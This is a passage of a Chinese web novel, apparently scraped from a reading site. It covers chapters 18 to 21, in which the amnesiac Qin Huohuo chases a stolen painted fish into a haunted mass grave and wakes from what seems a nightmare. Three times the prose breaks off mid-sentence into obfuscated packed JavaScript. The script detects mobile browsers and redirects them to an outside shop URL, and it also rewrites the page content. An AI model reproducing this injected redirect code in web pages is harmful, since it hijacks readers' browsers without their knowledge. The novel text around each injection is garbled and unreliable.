周围越来越多投来的目光,岑萧只好一把拽住云宁的胳膊,火速离开这个八卦的中心地带,走的时候还不忘叮嘱一旁,正打算走远点看热闹的秦霍霍跟着自己。 被喊到的秦霍霍只好装作若无其事的跟着岑萧,走的时候还不忘拿手挡住自己的脸,毕竟云宁哭的实在太大声了,她可不想明天满城都传她毒打云宁或者其他什么更奇怪的谣言。 “别哭了,我知道你不是故意的。”岑萧边走边小声的跟云宁说,语气也缓和了不少,听起来更像是在哄云宁。 “当……当真?”云宁眼角挂着泪珠可怜兮兮的问道。 “是的是的,你看他都快哭了,他知道错了,你也快擦擦吧,我头都要被你哭炸了。”秦霍霍从袖子里掏出一方帕子塞到云宁的手中。 云宁看着自己手中的帕子,又想到自己刚才一把推倒秦霍霍的事情,又不好意思的朝着秦霍霍艰难的开口道:“霍霍,我……” “没事,你别哭了就行。”秦霍霍知道云宁不好意思开口,便直接接受了她的道歉。 云宁这才拿着刚才秦霍霍塞给自己的帕子开始擦起脸上的泪,只是……这帕子怎么一股子饭菜味。 “这帕子怎么一股饭菜味?”云宁举着帕子狐疑问秦霍霍。 “哎呀,拿错了,这个是满香楼的抹布。”秦霍霍将云宁手中的抹布一把夺过,从袖子里又掏出了一方帕子塞给云宁。 云宁听到抹布二字,脸色就像彩虹一样换了一遍,最后直接将云宁后面塞给她的帕子生生撕碎了,满是怒火的低吼道:“秦霍霍!我今天!一定要!杀!了!你!” 秦霍霍第一次看到人能够像画本里一样,浑身上下都像冒着火一般,她感觉云宁的头顶此刻好像也正在冒烟,她将抹布一把扔到云宁身上,转身朝秦府跑去,边跑还边喊:“我也不是故意的啊,那个满香楼的抹布跟我那帕子摸起来差不多。” 云宁哪里还听得进去,她把秦霍霍扔过来的抹布也给撕碎了,然后便提着裙子朝着秦霍霍追去。 两人一追一逃一转眼就没了踪影,只留下岑萧一人呆呆的站在原地,他还是第一见到云宁还有这一面,一想到刚才云宁的表情,岑萧忍不住打了个寒颤,一边叮嘱自己可千万不能惹云宁,一边抱怨这个天气怎么一入夜就变得这么凉了。 …… 秦霍霍因那晚跑了不少路出了一身的汗,第二天便感染了风寒在床上躺了好几日。 至于云宁也差不多,那日追到秦府后秦霍霍就让护卫立刻将大门关上,云宁在门口敲了半天也没人来给开门,最后就放下一句让秦霍霍给自己等着的狠话便走了。 但之后几日云宁也并没有出现,反而等来了岑萧。 岑萧告诉秦霍霍,云宁那日回家之后因为集火攻心又出了一身的汗,第二日也病倒了,而且病的比秦霍霍还严重,到现在还在床上病怏怏的躺着。 秦霍霍本想着‘趁她病,要她命’,在云宁现在无力还手还嘴的时候,过去嘲笑她一番,但又想到那日自己给了她一块抹布,云宁那么娇气的一个大小姐,估计是真的气得不轻,万一自己过去再把她气出个好歹来,说不定还要给她陪葬,也就作罢了。 “岑萧,你真的不觉得那些侍女很奇怪么?”秦霍霍又坐到了最爱的那张躺椅上,拿起桌上的葡萄边吃边问道。 岑萧削着苹果认真回忆那日那些侍女的模样,半晌才开口答道:“并没有什么奇怪的地方啊。” “哎呀,你不觉得他们很像那张纸扎人么?”秦霍霍还指了指自己的脸,示意岑萧那些侍女的脸特别奇怪。 “妆容是有些浓了,可那不是宫廷侍女的装扮么?”岑萧将削好的苹果放到秦霍霍的手中。 “宫廷侍女?你还见过宫廷侍女?”他们所在的地方离皇城比较远,宫中之人来这里几乎是不可能的,岑萧又是在哪里见过宫中那些几乎不出门的侍女的,秦霍霍狐疑的看着岑萧。 “我小时候跟着父母一同去过皇城,那日恰逢公主出巡,她身边跟着的便是那样打扮的侍女。”岑萧说完还不忘指了指自己的脸。 秦霍霍啃着方才岑萧塞到自己手中的苹果,将信将疑的开口:“是这样么?” “不过霍霍,我们这并不烧纸扎人,你又是如何得知纸扎人的样子的?”这下轮到岑萧满脸疑惑的看着秦霍霍了。 秦霍霍一时哑然,她也不知道自己为何在看到那些侍女时,脑中蹦出的第一个想法会是纸扎人,从她失忆醒来到现在不过半月的时间,这中间她也并没有见过纸扎人,至于失忆前的事情,自己也根本记不得了,如果真的如同岑萧所言,那自己到底是是在哪里见过自己口中的纸扎人的。 “霍霍啊,修满功德就好了,很快就能回来的。” “无常老爷,您放过我吧。” “秦霍霍,扣功德!” 不同的声音突然在秦霍霍的耳边响起。什么无常?什么功德?自己为何感觉这些声音又熟悉又陌生,秦霍霍用力拍了拍自己的头,想要将这些声音从自己的脑子里赶出去,可却无济于事,那些声音越来越大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150702|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至还有人问秦霍霍为什么不可饶了自己,为什么一定要让自己去受那些恐怖至极的刑法。 “我不认识你们,我没有!”秦霍霍大喊道。 岑萧见状立马抓住了秦霍霍的手,防止她继续伤害自己。 “霍霍怎么了?” 所有的声音瞬间全部都消失了,眼前依然还是自己的房间,屋内是一脸担忧的看着自己的岑萧与菱悦,刚才所有的一切就如同没有发生过一般。 秦霍霍摇摇头道:“我没事。” 最近发生的怪事已经够多了,秦霍霍知道其他人为了自己这段日子忙前忙后的,如果自己再把刚才的怪事说出来,说不定他们又会担心成什么样。 虽然秦霍霍说自己没事,可刚才的怪异举动岑萧还是放心不下,对菱悦说道:“菱悦还是麻烦你找大夫过来看一下吧。” 菱悦立刻点点头准备出去,却被秦霍霍给拉住了,她笑着同二人说:“我真没事,只是最近睡久了,头有些痛罢了,我最近多走走就好了。” 菱悦虽说还是很担心,但自家小姐都这么说了,自己也不敢违背她的意思再出去找大夫了。 “当真?”岑萧显然不太相信,开口问。 “嗯,没事,就是睡久了而已。”秦霍霍为了表示自己真的没事,还特地拿起一旁的葡萄又往嘴里塞了两颗。 但因为着急的一下塞得太多了,竟然直接给全部呕了出来,原本就不相信秦霍霍没事的岑萧与菱悦彻底被吓到了,菱悦也顾不得自己家小姐的话了,直接就跑出去找大夫了。 “菱悦!我吃多了而已!你快回来啊!”秦霍霍接过岑萧递过来的帕子胡乱的擦了两下,冲着菱悦消失的方向大喊道,不过菱悦跑的实在太快了,秦霍霍话还没说完就已经看不到她了。 “让大夫看一下也安心。”岑萧将帕子接过来,轻轻地拍着秦霍霍的背。 “不是,我真的……呕……”秦霍霍话还没说完又开始呕吐起来。 “你看看,你这身体还没好利索,我服你躺会吧。”岑萧给秦霍霍擦了擦嘴,扶她到床上坐下又给她拿来一杯水,让她可以漱漱口。 秦霍霍知道自己现在已经是百口莫辩了,早知道自己就不吃那么多东西了,刚才幻听加上自己又捶了几下脑袋,一通操作之下自己刚才吃进去的东西,一股脑的全部都给吐了出来。 岑萧将盘子中的葡萄都给拿了出来,拿着一个空盘子递到秦霍霍的手中,自己则是捧着一杯茶水。 秦霍霍看着自己手中的盘子瞬间无语,先不说自己自己此刻胃中已经空空如也了,再者这个浅盘子除了装点水果以外还能做什么啊? 秦霍霍将盘子塞回给岑萧,准备躺下休息一会,等下菱悦带着大夫回来还不知道要折腾多久。 刚才的事情确实也耗费了秦霍霍不少体力,本来身子也不过是刚好,刚躺下片刻不到便睡着了。 “小姐!那条鱼云宁小姐抢走了!”一个丫鬟大喊着冲进来,才刚睡着的秦霍霍被这一声直接吓得坐了起来。 秦霍霍坐起来又把岑萧给吓了一跳,手中的茶杯也飞了起来,整杯茶水都倒在了秦霍霍的头上,还有几片茶叶挂在秦霍霍的脸上,所幸茶水只是温热,不然此刻秦霍霍应该已经彻底毁容了。 岑萧急忙拿起刚才秦霍霍擦嘴的帕子擦着她头上的茶水与茶叶,边擦还边道歉:“对不起对不起,霍霍你没事吧。” 丫鬟见自己闯祸了,试图趁着秦霍霍与岑萧擦拭茶水的功夫悄悄溜出去,刚转身才走了一步就听到声后传来秦霍霍的声音。 “谁抢鱼?” 丫鬟见自己已经躲不过去了,认命的转身“噗咚”一下跪在地上哆哆嗦嗦的答道:“是……是云宁小姐……她让人把鱼……把鱼抢走了。” 19. 第十九章 秦霍霍站在鱼塘前,看着鱼塘中涂了七彩颜料此刻正在上下浮动的木制假鱼,以及一地的泥脚印。 “你说这鱼是怎么被抢走的?”秦霍霍转头看向刚才通传的丫鬟,好奇的问道。 “回小姐的话,当时我跟几个杂役正在院子里给打扫,结果突然从天上飞下来一个穿着黑衣服的男的,他……” 秦霍霍伸手挡在了丫鬟的面前,开口问道:“等等,你说从哪?” 丫鬟哆嗦着指了指天,“天……天上。”说完略显紧张的看了秦霍霍一眼。 秦霍霍顺着丫鬟手指的方向看去,此刻的天空中没有一片云,除了蓝色的天什么都看不到,看了没多会秦霍霍感觉头已经开始有些发晕了,整个人不受控制的前后左右的晃动,感觉下一秒随时就要倒下了。秦霍霍伸手想拉住站在一旁的丫鬟防止自己摔倒在地上,手才刚伸出去便立刻被一双手另一双宽大的手握住了,手指传来的冰冷触感让秦霍霍瞬间清醒。 她想要将手抽回来,但却被岑萧牢牢的握住。 “霍霍,你没事吧?”岑萧似乎并没有察觉到秦霍霍想要抽回手的动作,还是一脸担忧的问道。 秦霍霍一言不发,微微蹙着眉看着岑萧。 岑萧见秦霍霍没有反应,而是有些呆呆地看着自己,担心让他不自觉的加重了手上的力道。 "没事。" 说完秦霍霍就动了动自己的手,岑萧这才注意到自己一直抓着秦霍霍的手,立马松开了一直握着秦霍霍的手。 手上的冰冷也随着岑萧松开的双手一起消失了,原本已经快被冻僵了手也在慢慢回暖。 菱悦赶忙上前扶住了秦霍霍。 神情担忧的看着秦霍霍开口道:“都怪我,光顾着看天了,都没注意到小姐身体不适,多亏了您,不然小姐怕是已经摔倒在地上了。”说罢向岑萧俯身道谢,就准备扶着秦霍霍回房歇息一会儿。 岑萧微微摆手表示不算什么,见两人准备回房正欲抬腿跟上。 秦霍霍却突然停下了脚步,扶着自己额头装作头晕的样子朝岑萧开口道:“岑萧哥哥,我的头还是有些发晕,今天怕是不能陪你了。” “没……”岑萧正准备说没事,自己可以陪着她。 “还不快松松岑萧少爷。”菱悦带着些许责备的语气朝一旁的丫鬟开口道。 秦霍霍此刻也是配合的扶着自己的额头,整个人靠在菱悦的身上,眼睛半眯着故作头晕神色游离的样子看着岑萧。 岑萧见状也不好再说自己要留下来。 “那你好好休息,我过几日带着云宁来看你。”岑萧说完略带着一些不舍跟着丫鬟往外走去。 岑萧前脚刚离开,秦霍霍立马就恢复了活力,整个人也从菱悦的身上起来了,一点都看不出来刚才那个半死不活的样子。 “菱悦,你陪我去一趟云府吧。” 秦霍霍想不通云宁为什么要找人来偷那条奇怪的鱼,既然想不明白,秦霍霍觉得索性还不如直接去找云宁问个清楚。 …… 秦府的大门开了一条小缝,一高一低的两只眼睛从缝里透出来,做贼一般的四处看了一圈,确认了没有问题之后,大门这才完全打开。 秦霍霍的头率先探了出来,左右张望了一下,然后挥手招呼身后的菱悦。 “小姐,我想岑萧少爷应该……不至于吧。” 菱悦看着自家小姐紧张小心的样子,略有些无语道。 刚才自己正准备打开门,自家小姐愣是说要先看看岑萧是不是已经走了,明明俩人都已经等了一会儿才出来了,虽说岑萧少爷喜欢自家小姐,但是菱悦觉得应当不至于到这种变态的地步吧。 “万一呢?你知道他的手有多冰么?我感觉自己刚才被一大块冰块给握住了。”秦霍霍并不觉得自己小心过头了,刚才岑萧握住她手时那股刺骨的冰冷触感,就算是现在想起来秦霍霍依然忍不住打哆嗦。 菱悦听了秦霍霍说的话,却不觉得有什么奇怪的,反而解释道:“岑萧少爷从小便是有寒体症。” 还有这种病? 这么一想,他们三个人好像都不太正常,自己莫名其妙就会失忆,岑萧浑身冰冷,至于云宁嘛,秦霍霍认真的想了想:“应该是脑子方面不太好。”确认了这个答案之后,忍不住点了点头再一次肯定自己的想法。 菱悦见自家小姐站着莫名开始点头,以为是她又头晕了,立马就上前扶住她紧张的询问道:“小姐,怎么了?又头晕了么?要不我们还是先回去休息吧?” “我没事,只是刚才在想一些事情罢了。” 秦霍霍轻轻拍了拍菱悦的手,表示自己没有不舒服,让她放心。 菱悦听罢还是有些不放心,又仔细的看了看秦霍霍。 面色红润有光泽的,一双眼睛也是神采奕奕的看着自己,看起来确实不像是身体不适的样子,这才松了一口气。 “走吧。”秦霍霍怕再耽搁下去,天就要黑了,于是忙拉着菱悦便往云府去。 …… “没了!没了!” 少女不耐烦的声音从房中传出。 云宁坐在椅子上,一脸不耐烦地看着秦霍霍,明明已经说了很多遍了,鱼已经被自己放生了,秦霍霍却怎么都不相信。 “那你陪我一起去找。” 秦霍霍看云宁已经被自己烦的快打人了,估摸着她是真的把鱼放生了,而不是偷偷藏起来撒谎骗自己,不然这会儿早就把那鱼拿出来让自己快滚了。 云宁拿起桌上的橘子背过身,假装没听见自顾自的开始剥起来了橘子,刚把橘子皮剥掉秦霍霍便直接把橘子抢了过去。 “你!”云宁没想到秦霍霍会抢走橘子,气的快要从椅子上跳起来了。“把橘子还给我!” 秦霍霍装作没听见,把橘子分成两半,一半给了菱悦,另一半则是塞进了自己的嘴里。 “唔……没了。” 秦霍霍转过头一脸无奈的摊了摊手。 “行!我陪你去!”云宁恶狠狠地看了一眼菱悦手里的另外一半橘子说道。 说完云宁就直接转身走了。 秦霍霍见状赶忙拉着菱悦跟了上去。 …… “你确认么?”秦霍霍看着眼前的景象,满脸疑惑地转头看着云宁。 这里哪有什么河啊,放眼望去满目都是坟堆,不少的坟堆上还插着招魂幡跟柳条,恰好此刻一阵风吹过带起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150703|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上的纸钱,坟堆上的招魂幡与柳条也随风一同晃动,二者之间摩擦发出‘萨萨萨’的响声,乍一听就像是有人在窃窃私语。 云宁也没有想到眼前会出现这样的景象,一时语塞,过了好一会儿才蹦出几个字:“不可能啊。” 明明当时是自己带这个几个下人一起来这里放生那条鱼的,就算自己再蠢也不至于才这么点时间就忘记了路线啊,而且这条河自己从小就经常来这里玩,怎么可能会走错呢,那么大一条河怎么就突然消失了?还变成了眼前这些……坟堆呢? 秦霍霍本来以为是云宁在戏弄自己,可她的样子比自己还要震惊,看来这里的河可能真的被人填平了,还顺便把这里改造成了一块坟地。 秦霍霍往里走想看看有什么线索,最起码知道这里都葬了哪些人。 天不知道何时突然变暗了,明明刚才还是正午的样子,现在却像是午夜时分,秦霍霍想要抬头看看天,才发现原来这里的树又多又密,把光全都挡了个干净。刚才在外面的时候还感觉不到,越是往里走周遭越黑。 菱悦害怕的拉着秦霍霍的袖子,故作镇定但根本没有任何用处,一开口声音都在发抖。 “小……小姐……我们……我们回去……回去吧。”简单的几个字愣是哆哆嗦嗦的说了好几次。 秦霍霍拍了拍菱悦的肩膀,示意她不要害怕,正打算开口让她可以去外面等自己就听到了云宁的声音。 “别抖了!”云宁不知道什么时候也跟了进来,因为这里太黑了,秦霍霍一直没有发现,这会看过去才发现云宁的丫鬟紫木比菱悦还要害怕,整个人缩在云宁声音止不住的发抖。 云宁被她抖得实在受不了了,本来也不想开口的,毕竟这里确实有些恐怖,可是她拽着自己的袖子抖,整件外衫都快被她给抖掉了。 “菱悦你跟紫木到外面等我们吧。”秦霍霍见状开口道,说完还拍了拍菱悦的背。 菱悦担忧的看着秦霍霍,虽说自己很害怕,但是也不能把小姐自己扔在这里,哦不对还有云宁小姐,万一她在这里把小姐埋了咋办,毕竟……云宁小姐好像很讨厌小姐。 “去吧,紫木快要抖得晕过去了。”秦霍霍又拍了拍菱悦。 菱悦往紫木的方向看去,紫木比刚才抖得更厉害了,整个人开始有些不受控制的晃动了。如果真的在这里晕过去了,好像会更麻烦,只能点点头。 “小姐,我带她出去之后就回来找您。”菱悦说完就搀扶着随时都会晕过去的紫木往外走。 秦霍霍越往里走,越觉得这个地方奇怪,偌大的一块坟地,遍地都是坟堆,竟然只有零星的几块碑立着,更多的是只有一个简单的小土堆,其余的什么都没有。 秦霍霍走近那几个碑想看看都是谁家的,结果…… 碑上一片空白,一开始秦霍霍以为是年代久远,字迹看不清了,可她接连看了好几块碑之后发现,这里无一例外的所有的碑都是空白的。 “云宁。”秦霍霍小声叫了一下云宁。 “怎么了?” “这里的碑……全都没有字……”秦霍霍看着云宁小声地说道。 这里 好像是个 乱葬岗…… 20. 第二十章 云宁听到秦霍霍说的话,一时僵在了原地,不知该作何反应。 乱葬岗不知何时突然满是雾气,二人感觉这些雾气正在缓缓地往自己的身体里钻,然后化作了阵阵的寒意直冲脑门而去。 云宁缩在了秦霍霍的身后,明明已经害怕的快要哭出来了,却还要装作一副凶巴巴的样子开口道:“你,你别乱说话。”但再假装凶巴巴都没用了,因为云宁的声音完全控制不住的发抖。 秦霍霍此刻根本无法分神去理会云宁,这段时间发生的所有事情都在这一刻全部涌进了她的脑海中。 失忆症、身有彩线的鱼、莫名偏执的云宁、突然出现的乱葬岗……桩桩怪事将秦霍霍的思绪搅得一片混乱,秦霍霍想要理清头绪,却又无处下手。 为什么这里发生的所有事情都如此的奇怪,难道因为我撞邪了? 这个想法一出现,秦霍霍就感觉自己的头疼的快要裂开了,感觉耳旁不停地有人在说话。 “小秦,明天周末加个班。” “霍霍,你可要好好修功德啊。” “秦霍霍!扣功德!” “你又在偷懒了。” 几个声音来回在秦霍霍脑海中出现,她只觉得自己马上就要分裂成几个不同人,而这些人又开始抽离自己的身体,她想要伸手抓住她们,但她的手就仿佛千斤重一般,怎么都抬不起来。 此刻缩在秦霍霍身后的云宁也注意到了她的古怪,云宁轻轻推了推秦霍霍的身体,小声喊道:“秦霍霍,秦霍霍。” 原本只是站着发呆的秦霍霍,因为云宁推的这一下,整个人开始来回晃动,好像随时要摔倒。 云宁手足无措地围着霍霍左看右看,终于在秦霍霍摔倒前将她抱在自己怀里。 “哎呦!”只是云宁没料到秦霍霍晕倒的力道竟然直接将自己也带倒在了地上,她皱着鼻子揉了揉差点摔成三瓣的屁股,见秦霍霍似乎已经也已经清醒过来了,不满地推了推她:“感觉好点了就快点起来,我一个人可没办法把你扛回家。” “小姐!小姐!”二人隐隐听见一个女声由远及近传来,似乎是边跑边喊,很快看见了一个小丫鬟上气不接下气地跑过来,原来是菱悦回来了。 “小姐小姐,你怎么了!别吓我啊!”菱悦刚见到二人,就看到秦霍霍躺在云宁怀里,原本就没喘匀的气吓得差点一口没上来。好在秦霍霍这时已经感觉不到那种疼痛了,慢吞吞地从云宁怀里爬起来。 秦霍霍一边用手指揉暗着额头一边安慰菱悦:“没事,刚刚就是老毛病犯了,休息一会就好了。倒是你,怎么这么急急忙忙的?” 菱悦缓了一口气,开口道:“我刚把紫木送出去,天就马上变成一片漆黑,这个林子里还时不时传出一些怪叫。”说到这菱悦的声音越来越小,一边说还一边观察四周。 “我怕小姐跟云宁小姐再过会儿走到林子深处我就找不到了,所以就急忙进来了。但……” “但什么?”云宁见菱悦说一句藏一句的,语气不满的开口问道。 菱悦满脸疑惑地开口道:“但我刚进来没多少路,就见到小姐跟云宁小姐了,比刚才我送紫木出去的路还要短。” 秦霍霍跟云宁一直都在往林子的深处走,根本没有往来时的路走过一步,怎么可能会离入口越来越近呢? 秦霍霍狐疑的四处打量着这片林子,林中的所有坟堆都长得差不多,所有的树也同样长得差不多,根本没办法分辨出来自己到底是在哪里。 “嘿嘿……”一声尖锐的笑声突然传来。 三个人同时转头朝声音传来的地方看去。 “你们有没有听到?”云宁小声地问道。 “嗯。”秦霍霍点了点头回应道。 “呀!嘿嘿,是三个呢。”那个声音又出现了,但这回却是从另一个方向,声音听起来像是一个小孩子,但此刻在这个乱葬岗中,小孩子的声音才显得更加的恐怖。 “是谁?”秦霍霍强装镇定朝着声音再次出现的地方问道。 那个声音又笑了一声答道:“嘿嘿……姐姐不是来找我的么?” 自己来找的人?自己来找的明明是那条鱼啊,怎么会变成一个小孩子呢? “我找的明明……”秦霍霍想要开口反驳,但是突然意识到,哪里会有小孩子莫名其妙跑进乱葬岗里面,还知道自己来这里是做什么的。 声音的主人仿佛是知道了秦霍霍心里想的事情,笑的更开心了。“嘿嘿嘿……姐姐不开心么?” 他每一声笑都像是一把刀在来回的摩擦秦霍霍的头骨,秦霍霍觉得自己浑身上下都疼的不行,手脚也止不住的发抖。 秦霍霍在心里跟自己说:“鱼是不会说话的,不过是我太害怕了,所以出现了幻觉,没事的。” 她不停地安慰着自己努力让自己冷静,虽然还是控制不住自己发抖的手脚,但是身上却没有之前那么疼了,最起码现在是可以忍受的程度。 秦霍霍环顾了一下四周,最终在自己脚边挑选了一根看起来比较粗壮的树枝,捡起来之后还舞动了两下,确定这个树枝还算结实后,便带着自己发抖的手脚朝着声音最后出现的地方小心走去。 才走了不过两步那个声音又响起:“嗯?姐姐想见我?” “嘿嘿,我自己来找姐姐就是了。” 声音刚落下,一条身着彩线的鱼忽然闪现到了他们面前,看这条鱼身上的样子确实是那条被云宁偷走的鱼。 只是…… 这条鱼现在……却不太像一条鱼。 他的鱼尾现在变成了两条腿,虽然有点短看起来有些滑稽,但是走起来却非常的灵活,两边的鱼鳍则是变成了他的手,并且手里此刻还拿着两把大砍刀,刀尖上的寒光哪怕是在现在这么黑的环境中都清晰可见,如果被这两把刀割一下,后果可想而知。 “嘿嘿……姐姐我来找你啦~”怪鱼咧开嘴笑着,两排大大的牙齿完全露在了外面,他就这样边笑边挥舞着两把大砍刀朝秦霍霍跑过来。 一双小短腿来回摆动的飞快,不知道是因为天黑还是他摆动的实在太快了,根本看不清他的腿。 秦霍霍回头看到早就被吓得坐在地上像是丢了魂一样一动不动的云宁和菱悦。 “菱悦,快带着云宁跑啊!”秦霍霍冲着还有些反应的菱悦大喊道。 这一喊倒是真的把菱悦的魂也喊了回来,她手脚并用从地上爬起来,然后转头将失魂的云宁给拽了起来。 刚开始拽了两下还没有拽动,又努力拽了两下才勉强拽到了云宁,好在云宁此刻也回神了,自己爬了起来。 “姐姐,你跑什么呀,你不是在找我么?”那条怪鱼虽然腿扑腾的很快,但是终究还是腿太短了,没有能够追上秦霍霍三人。 但秦霍霍她们也始终无法甩到怪鱼,不管是绕圈还是加速跑,那条鱼始终死死的跟在他们的后面,而且它好像不会累一样,秦霍霍三人因为体力的透支,速度渐渐慢了下来,跟那条鱼的距离也来越来近了。 “嘿嘿,要抓到姐姐了哦。”怪鱼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150704|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音又响起了,而且秦霍霍明显感觉到声音越来越近了。 既然跑不过,不如直接跟它拼了算了。 秦霍霍下定决心然后停下来,转头看向身后追赶她们的怪鱼,那条鱼也没想到秦霍霍会停下来,一时间有些愣住也停在了原地,歪着头疑惑的看着秦霍霍,不过鱼脸做不了什么表情,看起来更像是一个鱼睁着大眼睛歪头痴呆的看着他们。 菱悦注意到自家小姐停下来后,也停了下来,被她带着跑的云宁太过于专心跑路完全没有注意到,直接一个踉跄摔在了地上。 云宁揉着自己磕到地上的下巴,看疯子一般看着秦霍霍大声怒斥道:“秦霍霍,你是不是疯了,停下来干嘛啊!” “我们跑不过它的,它根本不会累。”秦霍霍看着怪鱼说道。 “对哦,所以姐姐还是乖乖等着被我砍死吧。”怪鱼笑着说道,两只鱼鳍提着刀慢慢靠近秦霍霍。 秦霍霍手里捏着那根捡来的树枝,刚才跑路的时候因为实在太害怕了,手指不由得使劲攥紧了这根树枝,现在反而成为了她手里唯一还算是武器的东西,只不过对比那两把闪着寒光的大砍刀,实在是不够看。 怪鱼朝着她们走近一步,秦霍霍便往后退一步,虽说已经准备跟这条怪鱼拼了算了,但看到那两把刀还是会忍不住害怕。 “霍霍。” 岑萧的声音从不远处传来,几人瞬间觉得抓到了救命稻草一般,云宁第一个往岑萧声音传来的地方跑去。 那条怪鱼听到岑萧的声音,撇了撇嘴角加快了脚下的步子。 秦霍霍拉着菱悦也准备朝那边跑去,虽然岑萧可能也打不过这条怪鱼,但多个人多少也多一分胜算。 “吱咔。” 突如其来的怪声。 “吱咔……吱咔……吱咔……” 声音越来越密集,越来越近了。 然后, 一双手抓住了秦霍霍的腿,两双手抓住了秦霍霍的腿,越来越得手抓住了她的腿。 “啊!” 菱悦看到秦霍霍腿上的手,大喊了一声后便直接晕倒了。 秦霍霍感觉自己所有的血液都冲到了头顶上,她深呼吸努力让自己镇定下来,然后低头看向此刻正死死抓着自己的手。 那是几双从土里伸出来的手,几双只剩下了白骨的手死死抓着秦霍霍的脚踝,但还有一些手的主人大概死了没多久,还没有完全腐烂,烂肉上爬满了虫子,那些虫子此刻正在努力的蠕动着想要爬到秦霍霍的身上。 而那条怪鱼也已经走到了秦霍霍的面前,露出怪异的微笑看着秦霍霍,然后举起了手中的大砍刀。 秦霍霍看着脚上的虫子跟头上的大砍刀。 秦霍霍害怕的闭上眼,脱口而出大喊道:“小白!救我! “喊什么啊!” 预想中的疼痛感没有传来,耳边传来的是云宁的声音。 秦霍霍睁开眼,自己已经回到了秦府,云宁站在自己的面前一脸烦躁的看着自己。 秦霍霍一把将云宁给推开,然后快步跑到后院中。 “哎呀,秦霍霍,你这个泼妇!”云宁摔倒在地上冲着秦霍霍大喊道。 刚跑进院中,就看见那条鱼正躺在缸里游泳,鱼鳍是鱼鳍,鱼尾是鱼尾,与普通的鱼一样没有什么特别的。 “这条鱼?”秦霍霍指着缸中的鱼问一旁的丫鬟。 “回小姐,这鱼是刚才您同岑萧少爷、云宁小姐一同带回来的。”一旁的丫鬟一脸不解的答道。 21. 第二十一章 “你说你刚才站着睡着了?”云宁一脸不可置信的表情看着秦霍霍。 秦霍霍心虚的点了点头,她知道自己这个说法多少是有些离谱的,但是这阵子发生的事情,让她对这里的一切都不信任,与其告诉他们自己刚才发生了什么事情,让他们以为自己失心疯了,还不如直接不说算了。 岑萧倒是没有对秦霍霍这个胡扯的理由表现出什么质疑,反而是一脸担心的看着她开口询问道:“霍霍,你的失忆症又发作了么?” 失忆症?自己现在看起来应该更像是有失心疯吧。 秦霍霍微微笑着摇了摇头答道:“没有,可能是前阵子失忆症刚发作,所以这段时间精神不太好,所以才会站着睡着。” 岑萧之前一直因为担心秦霍霍紧着的眉头,也有的些许的缓和,表示认同的点了点头。 云宁则是完全不吃秦霍霍这一套,觉得她就是在糊弄自己跟岑萧,想要继续开口质疑追问,秦霍霍却抢先了一步开口。 “对了,这条鱼不是被云宁扔到河里了么?怎么又找回来了?” 秦霍霍不敢提关于乱葬岗的事情,怕这些事情都是自己幻想出来的,所以只提了关于这条鱼被云宁扔了的事情。 云宁听到秦霍霍的话,赶忙开口反驳:“是放生!放生!不是扔掉。” 秦霍霍撇了撇嘴小声嘀咕道:“有啥区别,自欺欺人。” 声音虽然很小但是,他们几个人离得实在太近了,所以哪怕秦霍霍只是小声嘀咕,云宁还是听得一清二楚的,但自己把鱼偷走是事实,总归是有一些理亏的,云宁也只是瞪了秦霍霍一眼,也没有再继续跟秦霍霍拌嘴而是认真的开始解释道。 “我们后面一起去那条河找鱼,但是却走进了一片乱葬岗中。” 秦霍霍敏锐的捕捉到了乱葬岗几个字,难道这一切都不是自己的幻觉,那条鱼真的在乱葬岗里追杀自己了?还有那些从坟堆里冒出来的尸体也是真的? 云宁见秦霍霍没有什么反应,而且看起来好像开始发呆了,不悦的说道:“秦霍霍,你到底有没有在听我说话啊!” “啊?在听。在听的,你继续说吧。”秦霍霍将思绪拉了回来。 云宁撇着嘴瞪着秦霍霍,一副不打算继续说话去的样子。 “你怎么不说了?被谁毒哑了么?”秦霍霍看出了云宁的不满,但她就是想故逗一逗她,所以故意装作没有看出来,还说话噎她。 云宁本来只是想故意装一下生气,但现在是真的生气了,她“哼”了一声,直接就转过身彻底拒绝跟秦霍霍交流了。 岑萧见云宁生气了,并且不准备继续跟秦霍霍说了,便顺着云宁说的部分继续说了下去。 “结果你们进去之后就迷了路,一直在里面打转,菱悦跟紫木在外边等了你俩很久都没有见出来,最后还是菱悦来找我,我找到你俩的时候……”岑萧说到这嘴角的笑意根本压不住,一脸无奈的看着秦霍霍。 “我俩怎么了?”秦霍霍看着他的古怪表情,好奇地问道。 “你俩……”岑萧笑着继续开口道。 此时云宁也转过身来,想要拦住岑萧继续往下说,但是明显晚了一步。 “你俩正坐在地上哭。”岑萧说完终于控制不住笑出了声。 